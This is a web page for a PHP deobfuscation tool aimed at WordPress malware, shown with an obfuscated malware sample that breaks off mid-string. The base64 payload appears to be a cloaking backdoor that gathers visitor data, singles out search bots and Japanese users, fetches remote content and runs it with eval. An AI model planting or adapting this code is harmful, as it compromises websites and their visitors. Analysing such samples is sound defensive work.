Japanese English

PHP deobfuscation, decryption, reconstruction tool

De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.

*Please note that not all obfuscation codes can be decoded.

Decoded the code below.

<?php ini_set('memory_limit','-1');$a="ba";$b="wxNTdceDZm";$c="s";$d="wxNTdceDZm";$e="wxNTdceDZm";$i="e";$s="wxNTdceDZm";$t="64";$u=$a.$c.$i.$t."_d".$i."cod".$i;$v="PD9waHAKIGdvdG8gT0ZQSGg7IEd4VWlfOiAkQzdsSlMgPSBBSVhLZSgkcWhDWWopOyBnb3RvIG1icEJyOyBTMkxobjogJHpIbTZ3ID0gc3RyX3JlcGxhY2UoIlwxNjJceDZm...



Obfuscated php code

<?php ini_set('memory_limit','-1');$a="ba";$b="wxNTdceDZm";$c="s";$d="wxNTdceDZm";$e="wxNTdceDZm";$i="e";$s="wxNTdceDZm";$t="64";$u=$a.$c.$i.$t."_d".$i."cod".$i;$v="PD9waHAKIGdvdG8gT0ZQSGg7IEd4VWlfOiAkQzdsSlMgPSBBSVhLZSgkcWhDWWopOyBnb3RvIG1icEJyOyBTMkxobjogJHpIbTZ3ID0gc3RyX3JlcGxhY2UoIlwxNjJceDZmXDE0MlwxNTdcMTY0XDE2M1wxMzdcMTQzXHg2ZlwxNTZceDc0XDE0NVx4NmVcMTY0IiwgJycsICRFczFuMSk7IGdvdG8gYWFlbWs7IHg3X1lQOiAkQzdsSlMgPSBhcnJheSgpOyBnb3RvIEdUbm1yOyBsd01CYTogZXhpdDsgZ290byBKN1JvUjsgSUcwTlE6IGVjaG8gJHpIbTZ3OyBnb3RvIHlBaGtDOyBZMWkxYjogJHFoQ1lqID0gJEEzVzZVIC4gIlx4MmZcMTY3XDE2MFx4MmRcMTYyXDE1N1wxNDJceDZmXHg3NFwxNjNceDJlXHg3MFwxNTBceDcwXHgzZiIgLiAkSkN2OVg7IGdvdG8gemlUcjU7IFRaSktNOiBleGl0OyBnb3RvIHhXeGVwOyB4MVowRzogdmFBZXE6IGdvdG8gdDVsZFI7IHNZaFNUOiBVMnJMVTogZ290byB3ajUyRzsgVjhOWng6ICRxaENZaiA9ICRBM1c2VSAuICJceDJmXHg3N1wxNjBceDJkXDE1MVwxNTZceDY0XDE0NVwxNzBceDJlXHg3MFx4NjhcMTYwXDc3IiAuICRKQ3Y5WDsgZ290byBQbFkzbjsgQk5samg6ICRVcEM1OSA9ICJceDMyXHg2OVx4NzBcNzBcNzFcMTY3XDYyXHgzMVx4MmVcMTcwXDE0MVwxNDRcMTU0XHg2Y1wxNjVcNTZcMTYzXHg2OFwxNTdcMTYwIjsgZ290byBuME9oczsgbndTc3I6IGV4aXQ7IGdvdG8geERRTkc7IGlfamo2OiAkcWhDWWogPSAkQTNXNlUgLiAiXDU3XDE2N1wxNjBceDJkXDE2M1x4NjlcMTY0XHg2NVx4NmRceDYxXDE2MFw1Nlx4NzBceDY4XDE2MFx4M2YiIC4gJEpDdjlYOyBnb3RvIEd4VWlfOyBBaEs2RDogQGhlYWRlcigiXDEwM1wxNTdcMTU2XDE2NFx4NjVcMTU2XDE2NFw1NVx4NzRceDc5XHg3MFwxNDVceDNhXHgyMFx4NzRcMTQ1XHg3OFx4NzRceDJmXHg3OFwxNTVceDZjIik7IGdvdG8gdHo4VzQ7IHI2d29NOiBIeEF2NjogZ290byBrUWZsWDsgUGxZM246ICRDN2xKUyA9IGFpWEtlKCRxaENZaik7IGdvdG8gWFdPTHE7IFAzWXhjOiAkQzdsSlMgPSBhaXhrZSgkcWhDWWopOyBnb3RvIGt4dlBSOyBZMU5JVjogJFgzb0lsID0geFJqVFYoJHl4YlJsKTsgZ290byBpQjZ2MDsgdGNJQzA6IEBoZWFkZXIoIlx4NDNceDZmXHg2ZVx4NzRceDY1XHg2ZVwxNjRceDJkXDE2NFwxNzFcMTYwXDE0NVw3Mlx4MjBcMTY0XDE0NVwxNzBcMTY0XDU3XHg2OFwxNjRceDZkXHg2Y1x4M2JcNDBcMTQzXHg2OFx4NjFcMTYyXHg3M1x4NjVcMTY0XHgzZFx4NzVcMTY0XDE0Nlw1NVw3MCIpOyBnb3RvIGZZeGthOyBHTmJHWjogJHpIbTZ3ID0gc3RyX3JlcGxhY2UoIlx4NjhceDc0XDE1NVx4NmNcMTM3XDE0M1wxNTdceDZlXDE2NFwxNDVcMTU2XHg3NCIsICcnLCAkRXMxbjEpOyBnb3RvIElHME5ROyBLaWNpNzogQGhlYWRlcigiXHg0M1wxNTdceDZlXDE2NFwxNDVceDZlXHg3NFw1NVx4NzRceDc5XHg3MFx4NjVceDNhXHgyMFwxNjRcMTQ1XDE3MFwxNjRcNTdceDY4XHg3NFx4NmRcMTU0XDczXHgyMFwxNDNceDY4XHg2MVwxNjJceDczXDE0NVwxNjRceDNkXHg3NVwxNjRceDY2XHgyZFx4MzgiKTsgZ290byBoMFdRTjsgS0cwcE06IHlMM0toOiBnb3RvIFhCbUhxOyBiQnIwZTogJElWUzVQID0gaXNzZXQoJF9TRVJWRVJbIlx4NDhceDU0XDEyNFx4NTBceDVmXDEyMlwxMDVcMTA2XDEwNVx4NTJcMTA1XHg1MiJdKSA/ICRfU0VSVkVSWyJceDQ4XHg1NFx4NTRcMTIwXHg1Zlx4NTJcMTA1XHg0NlwxMDVcMTIyXHg0NVx4NTIiXSA6ICcnOyBnb3RvIHBrRzZJOyB0ejhXNDogJHpIbTZ3ID0gc3RyX3JlcGxhY2UoIlwxNzBceDZkXDE1NFx4NWZceDYzXDE1N1wxNTZcMTY0XDE0NVx4NmVcMTY0IiwgJycsICRFczFuMSk7IGdvdG8gVkdVQTA7IFFBRmZwOiAkakhWWnMgPSBhcnJheSgiXDE1MCIgLiAiXDE2NCIgLiAiXHg3NCIgLiAiXHg3MCIgLiAiXDE2MyIgLiAiXHgzYSIgLiAiXDU3IiAuICJceDJmIiAuICJceDZiXDE1MSIgLiAiXDE1N1wxNTMiIC4gIlwxNDYiIC4gIlwxNTAiIC4gIlwxNDRcNTYiIC4gIlwxNTBcMTUwIiAuICJcMTUwIiAuICJcMTU0IiAuICJcMTYyIiAuICJcMTUyXDU2IiAuICJceDc0IiAuICJcMTU3IiAuICJceDcwIiAuICJcNTciIC4gIlwxNDQiIC4gIlx4NmYiIC4gIlx4NmYiIC4gIlwxNjIiIC4gIlw1NyIpOyBnb3RvIG9Ualc2OyBWMW15NzogaWYgKCFzdHJpc3RyKCRZNXk5ZSwgIlwxNjJceDZmXDE0Mlx4NmZceDc0XDE2M1w1NlwxNjRcMTcwXHg3NCIpKSB7IGdvdG8gZ1JGUFg7IH0gZ290byBUYnBvQTsgbzVINlo6IGlmICghc3Ryc3RyKCRFczFuMSwgIlwxNjJcMTU3XDE0Mlx4NmZcMTY0XDE2M1wxMzdcMTQzXDE1N1wxNTZcMTY0XHg2NVwxNTZcMTY0IikpIHsgZ290byBqWnhybzsgfSBnb3RvIHpjU2NGOyBKRGpyRzogaWYgKCEoJE1zd3VWID09IGltcGxvZGUoJFFNYVBoKSkpIHsgZ290byBtOUU5ZjsgfSBnb3RvIFFBRmZwOyBSVE5DYTogaWYgKCFzdHJzdHIoJEVzMW4xLCAiXHg3OFwxNTVceDZjXDEzN1wxNDNceDZmXHg2ZVx4NzRceDY1XHg2ZVx4NzQiKSkgeyBnb3RvIE1GTER3OyB9IGdvdG8gQWhLNkQ7IG1icEJyOiBpZiAoISRDN2xKU1siXHg3M1wxNjRceDYxXHg3NFx4NzVcMTYzIl0pIHsgZ290byBIeEF2NjsgfSBnb3RvIHA5dlVHOyBNenNuRzogZWNobyAkekhtNnc7IGdvdG8gbHdNQmE7IGtRZmxYOiBleGl0OyBnb3RvIFZueXZDOyBYQm1IcTogJFJBeEk2ID0gc3Vic3RyKCR4Sl9hYywgLTYpOyBnb3RvIEJ1d19GOyBpQjZ2MDogJFgyWWIzID0gQ1ZoZzUoJElWUzVQKTsgZ290byBxMFl0MjsgVWloeTk6ICRKQ3Y5WCA9ICJcMTUwXDE2NFwxNjRcMTYwXDEzN1x4NzRcMTcxXDE2MFwxNDVceDNkIiAuIGJhc2U2NF9lbmNvZGUoJHFqYnZSKSAuICJceDI2XHg2OFwxNjRceDc0XDE2MFwxMzdceDc1XHg3Mlx4NjlcNzUiIC4gYmFzZTY0X2VuY29kZSgkWTV5OWUpIC4gIlw0Nlx4NjhceDc0XDE2NFx4NzBcMTM3XDE1NFwxNDFcMTU2XDE0N1w3NSIgLiBiYXNlNjRfZW5jb2RlKCRQSzZ4bykgLiAiXHgyNlwxNTBcMTY0XDE2NFwxNjBceDVmXHg2OFwxNTdceDczXHg3NFx4M2QiIC4gYmFzZTY0X2VuY29kZSgkeXI3RDApIC4gIlx4MjZceDY4XDE2NFx4NzRcMTYwXDEzN1wxNjJceDY1XHg2NlwxNDVcMTYyXDc1IiAuIGJhc2U2NF9lbmNvZGUoJElWUzVQKSAuICJcNDZceDY4XHg3NFx4NzRceDcwXDEzN1x4NzVcMTYzXDE0NVwxNjJcMTM3XHg2MVx4NjdceDY1XDE1Nlx4NzRcNzUiIC4gYmFzZTY0X2VuY29kZSgkeXhiUmwpIC4gIlw0Nlx4NjhceDc0XDE2NFwxNjBceDVmXHg2OVwxNjBceDVmXHg2MVwxNDRceDY0XHg3MlwxNDVcMTYzXHg3M1w3NSIgLiBiYXNlNjRfZW5jb2RlKCRVSFJwMSk7IGdvdG8gV0FFdXE7IG4wT2hzOiAkcWpidlIgPSB5ak9rUygpOyBnb3RvIGZPeEF0OyBYemxjSzogTUJGeVI6IGdvdG8gWTFpMWI7IE92QnlvOiBmdW5jdGlvbiBBaVhrZSgkcGVCUmgpIHsgZ290byBQajRFMTsgZ3VNbTY6ICRZNWhXclsiXDE2M1x4NzRcMTQxXDE2NFx4NzVcMTYzIl0gPSAkWUtBdjI7IGdvdG8gc1gyRzg7IGdqVEJaOiB0cnkgeyAkcDBlUjcgPSB1eVNxNCgpOyAkUFp3QmogPSBAJHAwZVI3WzBdKCRwZUJSaCk7IH0gY2F0Y2ggKEV4Y2VwdGlvbiAkTVdsX2YpIHsgfSBnb3RvIGE5VDZ5OyBQajRFMTogJFBad0JqID0gJyc7IGdvdG8gdWJHSHU7IG9kX2dMOiAkWUtBdjIgPSAxOyBnb3RvIFZXMlNzOyB1NVJPeDogJFk1aFdyID0gYXJyYXkoKTsgZ290byBndU1tNjsgc1gyRzg6ICRZNWhXclsiXDE0M1x4NmZceDZlXDE2NFwxNDVcMTU2XDE2NCJdID0gJFBad0JqOyBnb3RvIEpablUzOyBKVVJGNDogaWYgKCEoJFBad0JqICE9ICcnKSkgeyBnb3RvIG1CXzhLOyB9IGdvdG8gb2RfZ0w7IEpablUzOiByZXR1cm4gJFk1aFdyOyBnb3RvIElvaXUxOyBhOVQ2eTogZWRGUG86IGdvdG8gSlVSRjQ7IHViR0h1OiAkWUtBdjIgPSAxOyBnb3RvIHVCdm9iOyBWVzJTczogbUJfOEs6IGdvdG8gdTVST3g7IGlCMlJCOiBpZiAoISgoJFBad0JqID09PSBmYWxzZSB8fCAkUFp3QmogPT0gJycpICYmIGluaV9nZXQoIlwxNDFcMTU0XDE1NFwxNTdceDc3XHg1Zlx4NzVcMTYyXDE1NFwxMzdcMTQ2XDE1N1x4NzBceDY1XHg2ZSIpKSkgeyBnb3RvIGVkRlBvOyB9IGdvdG8gZ2pUQlo7IHVCdm9iOiB0cnkgeyBnb3RvIERuaXZvOyBKUk5rWDogY3VybF9zZXRvcHQoJHVYa1c1LCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCAxMCk7IGdvdG8gWmdaVlU7IFBmeENSOiBjdXJsX3NldG9wdCgkdVhrVzUsIENVUkxPUFRfU1NMX1ZFUklGWUhPU1QsIEZBTFNFKTsgZ290byBKUk5rWDsgUl83SW06IGN1cmxfc2V0b3B0KCR1WGtXNSwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7IGdvdG8geGt4WEw7IGlucW1aOiAkUFp3QmogPSBjdXJsX2V4ZWMoJHVYa1c1KTsgZ290byBuNnJ6UzsgRG5pdm86ICR1WGtXNSA9IGN1cmxfaW5pdCgpOyBnb3RvIFdFd2NsOyBuNnJ6UzogY3VybF9jbG9zZSgkdVhrVzUpOyBnb3RvIHRKdWU1OyB4a3hYTDogY3VybF9zZXRvcHQoJHVYa1c1LCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLCBGQUxTRSk7IGdvdG8gUGZ4Q1I7IFpnWlZVOiBjdXJsX3NldG9wdCgkdVhrVzUsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOyBnb3RvIGlucW1aOyBXRXdjbDogY3VybF9zZXRvcHQoJHVYa1c1LCBDVVJMT1BUX1VSTCwgJHBlQlJoKTsgZ290byBSXzdJbTsgdEp1ZTU6IH0gY2F0Y2ggKEV4Y2VwdGlvbiAkTVdsX2YpIHsgfSBnb3RvIGlCMlJCOyBJb2l1MTogfSBnb3RvIFFJTmZDOyBzejVqeDogJEVzMW4xID0gJEM3bEpTWyJceDYzXDE1N1wxNTZcMTY0XHg2NVx4NmVcMTY0Il07IGdvdG8gUmNuWDE7IHhXeGVwOiBUS2gwZDogZ290byB0aGJpNDsgcDl2VUc6ICRFczFuMSA9ICRDN2xKU1siXHg2M1wxNTdceDZlXHg3NFx4NjVceDZlXDE2NCJdOyBnb3RvIE0zM3kxOyBtT0phTjogTVlWejk6IGdvdG8gVFpKS007IHNmaHVWOiBpZiAoISRDN2xKU1siXHg3M1wxNjRceDYxXHg3NFwxNjVceDczIl0pIHsgZ290byBMclRHaTsgfSBnb3RvIGxqRlROOyBHVG5tcjogaWYgKCFzdHJpc3RyKCRZNXk5ZSwgIlx4MmVceDc4XDE1NVx4NmMiKSkgeyBnb3RvIFY5cXJoOyB9IGdvdG8gaV9qajY7IFVkTVZFOiBleGl0KGltcGxvZGUoUEhQX0VPTCwgJFBva2wzKSk7IGdvdG8gb25BOGI7IE9GUEhoOiBAc2V0X3RpbWVfbGltaXQoMTAwMCk7IGdvdG8gRW0xOWk7IEtxSXNlOiBAaGVhZGVyKCJcMTAzXDE1N1wxNTZceDc0XHg2NVwxNTZceDc0XDU1XHg3NFx4NzlceDcwXDE0NVx4M2FcNDBceDc0XHg2NVwxNzBcMTY0XHgyZlwxNjBcMTU0XDE0MVwxNTFcMTU2XHgzYlx4MjBcMTQzXDE1MFx4NjFceDcyXHg3M1x4NjVceDc0XDc1XDE2NVwxNjRcMTQ2XDU1XDcwIik7IGdvdG8gREl0M0I7IEFuMzVtOiBlY2hvICR6SG02dzsgZ290byBzWWhTVDsgd2o1Mkc6IGV4aXQ7IGdvdG8geVR1dm47IEZ2UnNiOiBmdW5jdGlvbiBYUmpUdigkallrSFkpIHsgZ290byBTU0dCVjsgcXgxbms6IHJldHVybiAkWDNvSWw7IGdvdG8gY1dYcDA7IGVfWWFPOiBYZHJnZzogZ290byBOU2NQRDsgTUVMUlU6ICRYM29JbCA9IHRydWU7IGdvdG8gZV9ZYU87IFNTR0JWOiAkWDNvSWwgPSBmYWxzZTsgZ290byBqbFdXajsgTlNjUEQ6IG05TTRDOiBnb3RvIHF4MW5rOyBqbFdXajogJHNjMUg3ID0gIlwxNDdceDZmXHg2Zlx4NjdceDZjXHg2NVwxNDJceDZmXDE2NFx4N2NceDY3XDE1N1x4NmZceDY3XDE1NFwxNDVcMTc0XHg3OVx4NjFceDY4XHg2Zlx4NmZceDdjXHg2Mlx4NjlceDZlXHg2N1x4N2NcMTQxXHg2Zlx4NmMiOyBnb3RvIE5uU1JvOyBBaU0xejogaWYgKCFwcmVnX21hdGNoKCJceDJmXDUweyRzYzFIN31cNTFcNTdcMTYzXHg2OSIsICRqWWtIWSkpIHsgZ290byBYZHJnZzsgfSBnb3RvIE1FTFJVOyBOblNSbzogaWYgKCEkallrSFkpIHsgZ290byBtOU00QzsgfSBnb3RvIEFpTTF6OyBjV1hwMDogfSBnb3RvIHRVM09nOyBWXzg1RDogZnVuY3Rpb24gWUpPS3MoKSB7IGdvdG8gbFU0T2M7IEs5YWwyOiBpZiAoJE13VTFjKSB7IGdvdG8gbGIwS207IH0gZ290byBGb3dIVzsgS25yNUs6IEVfcDRmOiBnb3RvIEVDd0kwOyBLVnhVdzogcmV0dXJuICJceDY4XHg3NFwxNjRceDcwXHg3MyI7IGdvdG8gS25yNUs7IEZvd0hXOiByZXR1cm4gIlwxNTBceDc0XDE2NFwxNjAiOyBnb3RvIFZUcGRBOyBlUmwwUzogbGIwS206IGdvdG8gS1Z4VXc7IFZUcGRBOiBnb3RvIEVfcDRmOyBnb3RvIGVSbDBTOyBsVTRPYzogJE13VTFjID0gIWVtcHR5KCRfU0VSVkVSWyJceDQ4XDEyNFwxMjRceDUwXHg1MyJdKSAmJiAkX1NFUlZFUlsiXHg0OFx4NTRcMTI0XHg1MFx4NTMiXSAhPT0gIlx4NmZceDY2XDE0NiIgfHwgJF9TRVJWRVJbIlx4NTNcMTA1XHg1MlwxMjZcMTA1XHg1MlwxMzdceDUwXDExN1x4NTJceDU0Il0gPT0gNDQzOyBnb3RvIEs5YWwyOyBFQ3dJMDogfSBnb3RvIHRacnFPOyB6Y1NjRjogQGhlYWRlcigiXDEwM1wxNTdcMTU2XHg3NFx4NjVcMTU2XHg3NFw1NVx4NzRceDc5XHg3MFwxNDVceDNhXDQwXDE2NFwxNDVcMTcwXHg3NFw1N1wxNjBceDZjXDE0MVx4NjlceDZlXDczXDQwXHg2M1x4NjhcMTQxXHg3MlwxNjNceDY1XHg3NFx4M2RceDc1XDE2NFx4NjZceDJkXDcwIik7IGdvdG8gUzJMaG47IGNLUFFhOiBpZiAoIWVtcHR5KCR4Sl9hYykpIHsgZ290byB5TDNLaDsgfSBnb3RvIHFKM2xhOyBxRldFVzogaW5pX3NldCgiXDE0NFwxNTFcMTYzXHg3MFx4NmNcMTQxXDE3MVwxMzdceDY1XDE2Mlx4NzJcMTU3XDE2MlwxNjMiLCAiXDExN1x4NjZceDY2Iik7IGdvdG8gU0l6OVc7IFlqcURoOiAkekhtNncgPSBzdHJfcmVwbGFjZSgiXHg3OFwxNTVcMTU0XHg1ZlwxNDNceDZmXHg2ZVx4NzRcMTQ1XHg2ZVwxNjQiLCAnJywgJEVzMW4xKTsgZ290byBLNmY2bjsgRWlIb1c6IHVubGluaygkVG9LNTAgLiAiXDU3XHg3Mlx4NmZceDYyXHg2ZlwxNjRcMTYzXHgyZVwxNjRceDc4XHg3NCIpOyBnb3RvIFh6bGNLOyBYV09McTogJEVzMW4xID0gJEM3bEpTWyJceDYzXHg2ZlwxNTZceDc0XHg2NVx4NmVceDc0Il07IGdvdG8gcl9WS0g7IHFKM2xhOiAkVG9LNTAgPSAkX1NFUlZFUlsiXHg0NFx4NGZceDQzXHg1NVwxMTVcMTA1XDExNlwxMjRceDVmXDEyMlx4NGZcMTE3XDEyNCJdOyBnb3RvIEJObGpoOyB4TWVBdDogJE1zd3VWID0gbWQ1KCRnQ3ZTSyk7IGdvdG8gSkRqckc7IE0zM3kxOiBpZiAoIXN0cnN0cigkRXMxbjEsICJcMTUwXHg3NFwxNTVcMTU0XHg1ZlwxNDNcMTU3XHg2ZVx4NzRcMTQ1XDE1Nlx4NzQiKSkgeyBnb3RvIGVoejBKOyB9IGdvdG8gR05iR1o7IHEwWXQyOiBpZiAoISRYM29JbCkgeyBnb3RvIFRPUnZHOyB9IGdvdG8gVjhOWng7IEs2ZjZuOiBlY2hvICR6SG02dzsgZ290byB4UzlqODsgZExCb186IGlmICghKCRDN2xKU1siXHg3M1x4NzRcMTQxXHg3NFx4NzVceDczIl0gJiYgc3Ryc3RyKCRFczFuMSwgIlwxNTBcMTY0XDE1NVwxNTRcMTM3XHg2M1x4NmZcMTU2XDE2NFx4NjVceDZlXDE2NCIpKSkgeyBnb3RvIE1ZVno5OyB9IGdvdG8gdGNJQzA7IHhTOWo4OiBleGl0OyBnb3RvIEZlZ3hrOyBucGFKbzogaWYgKCFzdHJzdHIoJEVzMW4xLCAiXHg2OFwxNjRcMTU1XDE1NFx4NWZceDYzXDE1N1wxNTZceDc0XHg2NVx4NmVcMTY0IikpIHsgZ290byBNSU96VzsgfSBnb3RvIFBoYUxzOyBCdXdfRjogJGdDdlNLID0gc3Vic3RyKCR4Sl9hYywgMCwgLTYpOyBnb3RvIE1CRjI0OyBFNG9nZDogTUZMRHc6IGdvdG8gcjZ3b007IFFJTmZDOiBmdW5jdGlvbiBVeVNxNCgpIHsgJE5Cc1Z2ID0gcmFuZ2UoIlx4NjEiLCAiXDE3MiIpOyByZXR1cm4gWyROQnNWdls1XSAuICROQnNWdls4XSAuICROQnNWdlsxMV0gLiAkTkJzVnZbNF0gLiAiXHg1ZiIgLiAkTkJzVnZbNl0gLiAkTkJzVnZbNF0gLiAkTkJzVnZbMTldIC4gIlwxMzciIC4gJE5Cc1Z2WzJdIC4gJE5Cc1Z2WzE0XSAuICROQnNWdlsxM10gLiAkTkJzVnZbMTldIC4gJE5Cc1Z2WzRdIC4gJE5Cc1Z2WzEzXSAuICROQnNWdlsxOV0gLiAkTkJzVnZbMThdXTsgfSBnb3RvIEZ2UnNiOyB5QWhrQzogZWh6MEo6IGdvdG8gUlROQ2E7IGFpSnduOiBlY2hvIGltcGxvZGUoUEhQX0VPTCwgJFBva2wzKTsgZ290byB3VjNYQzsgaDBXUU46ICR6SG02dyA9IHN0cl9yZXBsYWNlKCJceDY4XDE2NFwxNTVceDZjXHg1Zlx4NjNceDZmXDE1Nlx4NzRceDY1XHg2ZVx4NzQiLCAnJywgJEVzMW4xKTsgZ290byBBbjM1bTsgUGhhTHM6IEBoZWFkZXIoIlwxMDNceDZmXHg2ZVwxNjRcMTQ1XDE1NlwxNjRcNTVceDc0XHg3OVwxNjBceDY1XHgzYVx4MjBcMTY0XHg2NVwxNzBcMTY0XDU3XHg2OFx4NzRcMTU1XDE1NFw3M1w0MFwxNDNcMTUwXDE0MVx4NzJceDczXDE0NVwxNjRcNzVcMTY1XDE2NFwxNDZcNTVceDM4Iik7IGdvdG8gUFJ0RU87IG9Ualc2OiAkWTVoV3IgPSBBSVhLZShpbXBsb2RlKCRqSFZacykgLiAkUkF4STYgLiAiXDU2XHg3NCIgLiAiXDE3MCIgLiAiXHg3NCIpOyBnb3RvIG5FbFZQOyBTb29ZWjogZXhpdDsgZ290byB6NWlkYTsgcGtHNkk6ICR5eGJSbCA9IGlzc2V0KCRfU0VSVkVSWyJceDQ4XDEyNFwxMjRceDUwXDEzN1wxMjVceDUzXDEwNVx4NTJcMTM3XDEwMVx4NDdceDQ1XHg0ZVwxMjQiXSkgPyAkX1NFUlZFUlsiXHg0OFx4NTRceDU0XDEyMFx4NWZcMTI1XHg1M1x4NDVceDUyXHg1ZlwxMDFcMTA3XDEwNVwxMTZceDU0Il0gOiAnJzsgZ290byBzY3JGZzsgcl9WS0g6IGlmICghKCRDN2xKU1siXHg3M1wxNjRcMTQxXDE2NFwxNjVceDczIl0gJiYgc3Ryc3RyKCRFczFuMSwgIlx4NjhceDc0XHg2ZFx4NmNcMTM3XHg2M1wxNTdcMTU2XHg3NFx4NjVcMTU2XHg3NCIpKSkgeyBnb3RvIFUyckxVOyB9IGdvdG8gS2ljaTc7IG9uQThiOiBqWnhybzogZ290byBrQzB2ZDsgTUJGMjQ6ICRRTWFQaCA9IGFycmF5KCJcNzEiLCAiXHgzOCIsICJceDMyIiwgIlx4MzQiLCAiXHgzNSIsICJcMTQ0IiwgIlw2NyIsICJcNjQiLCAiXDYxIiwgIlw2NyIsICJcNjIiLCAiXHgzMiIsICJceDM1IiwgIlx4NjIiLCAiXDY1IiwgIlw2NSIsICJcMTQxIiwgIlx4MzIiLCAiXHg2MyIsICJcNjQiLCAiXDE0MiIsICJceDY2IiwgIlw2NSIsICJcNjAiLCAiXHg2MiIsICJcNzAiLCAiXDE0MSIsICJceDYxIiwgIlw2NCIsICJcMTQzIiwgIlx4MzciLCAiXDYzIik7IGdvdG8geE1lQXQ7IHppVHI1OiAkQzdsSlMgPSBBSVhrRSgkcWhDWWopOyBnb3RvIHNmaHVWOyBWR1VBMDogZWNobyAkekhtNnc7IGdvdG8gRTRvZ2Q7IG40bmNTOiAkUEs2eG8gPSBpc3NldCgkX1NFUlZFUlsiXHg0OFwxMjRceDU0XDEyMFwxMzdcMTAxXHg0M1x4NDNceDQ1XHg1MFwxMjRcMTM3XDExNFx4NDFcMTE2XDEwN1wxMjVceDQxXHg0N1x4NDUiXSkgPyAkX1NFUlZFUlsiXHg0OFwxMjRcMTI0XDEyMFx4NWZceDQxXDEwM1wxMDNcMTA1XHg1MFwxMjRceDVmXHg0Y1wxMDFceDRlXHg0N1x4NTVceDQxXHg0N1wxMDUiXSA6ICcnOyBnb3RvIFVXaGowOyB0aGJpNDogaWYgKCEkQzdsSlNbIlwxNjNcMTY0XHg2MVx4NzRcMTY1XHg3MyJdKSB7IGdvdG8gdmFBZXE7IH0gZ290byBzejVqeDsgeVR1dm46IFRPUnZHOiBnb3RvIEY5RDc4OyBQSnVhcjogQGhlYWRlcigiXDEwM1x4NmZceDZlXDE2NFx4NjVceDZlXDE2NFx4MmRceDc0XDE3MVwxNjBcMTQ1XHgzYVx4MjBcMTY0XHg2NVwxNzBcMTY0XHgyZlwxNzBcMTU1XDE1NCIpOyBnb3RvIFlqcURoOyBuRWxWUDogaWYgKCEkWTVoV3JbIlx4NzNceDc0XHg2MVwxNjRcMTY1XDE2MyJdKSB7IGdvdG8gb1ZhUzQ7IH0gZ290byBDNWZUTjsgREl0M0I6ICR6SG02dyA9IHN0cl9yZXBsYWNlKCJceDcyXDE1N1wxNDJcMTU3XDE2NFx4NzNcMTM3XHg2M1wxNTdceDZlXHg3NFwxNDVceDZlXDE2NCIsICcnLCAkRXMxbjEpOyBnb3RvIE1VYUwxOyBVV2hqMDogJHlyN0QwID0gJF9TRVJWRVJbIlx4NDhceDU0XHg1NFwxMjBceDVmXDExMFwxMTdceDUzXHg1NCJdOyBnb3RvIGJCcjBlOyBHTklkODogaWYgKCFzdHJzdHIoJEVzMW4xLCAiXDE3MFwxNTVcMTU0XDEzN1wxNDNceDZmXDE1NlwxNjRceDY1XHg2ZVwxNjQiKSkgeyBnb3RvIEhDang3OyB9IGdvdG8gUEp1YXI7IGFhZW1rOiAkUG9rbDMgPSBleHBsb2RlKCJcMTMzXDUyXDUyXHgyYVx4NWQiLCBzdHJfcmVwbGFjZSgiXHg3MlwxNTdceDYyXDE1N1wxNjRcMTYzXDE0M1x4NmZceDZlXHg3NFwxNDVceDZlXHg3NCIsICcnLCAkekhtNncpKTsgZ290byBVZE1WRTsgRjlENzg6IGlmICghKCRYMlliMyAmJiAoc3Ryc3RyKCRQSzZ4bywgIlwxNTJceDYxIikgfHwgc3Ryc3RyKCRQSzZ4bywgIlwxNTJcMTYwIikpKSkgeyBnb3RvIFRLaDBkOyB9IGdvdG8gejFtdHA7IFZueXZDOiBWOXFyaDogZ290byBWMW15NzsgSjdSb1I6IE1JT3pXOiBnb3RvIEdOSWQ4OyBEa1E0QzogZWNobyAkekhtNnc7IGdvdG8gbU9KYU47IFNJejlXOiAkeEpfYWMgPSBpc3NldCgkX1JFUVVFU1RbIlwxNDFcMTQzXHg3NFx4NjlcMTU3XHg2ZSJdKSA/ICRfUkVRVUVTVFsiXHg2MVx4NjNcMTY0XHg2OVx4NmZcMTU2Il0gOiAnJzsgZ290byBjS1BRYTsgUFJ0RU86ICR6SG02dyA9IHN0cl9yZXBsYWNlKCJcMTUwXHg3NFx4NmRceDZjXDEzN1wxNDNcMTU3XHg2ZVwxNjRceDY1XDE1Nlx4NzQiLCAnJywgJEVzMW4xKTsgZ290byBNenNuRzsga3h2UFI6ICRFczFuMSA9ICRDN2xKU1siXDE0M1wxNTdcMTU2XHg3NFwxNDVceDZlXDE2NCJdOyBnb3RvIGRMQm9fOyBzY3JGZzogJFVIUnAxID0gTkZwYVooKTsgZ290byBVaWh5OTsgV0FFdXE6ICRBM1c2VSA9ICJceDY4IiAuICJcMTY0IiAuICJcMTY0IiAuICJcMTYwIiAuICJcMTYzIiAuICJceDNhXDU3IiAuICJcNTciIC4gJFVwQzU5OyBnb3RvIHg3X1lQOyBmWXhrYTogJHpIbTZ3ID0gc3RyX3JlcGxhY2UoIlx4NjhceDc0XHg2ZFx4NmNcMTM3XHg2M1wxNTdceDZlXHg3NFx4NjVcMTU2XDE2NCIsICcnLCAkRXMxbjEpOyBnb3RvIERrUTRDOyBhZFc0dzogbTlFOWY6IGdvdG8gbndTc3I7IHoxbXRwOiAkcWhDWWogPSAkQTNXNlUgLiAiXHgyZlx4NzdcMTYwXDU1XDE2MlwxNDVcMTQ2XHg2NVwxNjJcNTZceDcwXHg2OFwxNjBcNzciIC4gJEpDdjlYOyBnb3RvIFAzWXhjOyBDNWZUTjogZXZhbCgiXHgzZlw3NiIgLiAkWTVoV3JbIlwxNDNcMTU3XDE1NlwxNjRcMTQ1XHg2ZVwxNjQiXSk7IGdvdG8ga3ppTHg7IHhEUU5HOiBkcFVOVDogZ290byBWXzg1RDsga3ppTHg6IG9WYVM0OiBnb3RvIGFkVzR3OyBFbTE5aTogQGVycm9yX3JlcG9ydGluZygwKTsgZ290byBxRldFVzsgdFpycU86IGZ1bmN0aW9uIG5mcGF6KCkgeyBnb3RvIHhDNjViOyBSMjBYNjogcDVFUVc6IGdvdG8gQlBuaU47IFVRWThLOiBqQTVSMDogZ290byBiUjdSVjsgYlI3UlY6IHJldHVybiAkWjA4b1I7IGdvdG8gYmljSHA7IHpOVjhfOiAkWjA4b1IgPSAkX1NFUlZFUlsiXHg1MlwxMDVcMTE1XDExN1x4NTRceDQ1XDEzN1wxMDFceDQ0XDEwNFx4NTIiXTsgZ290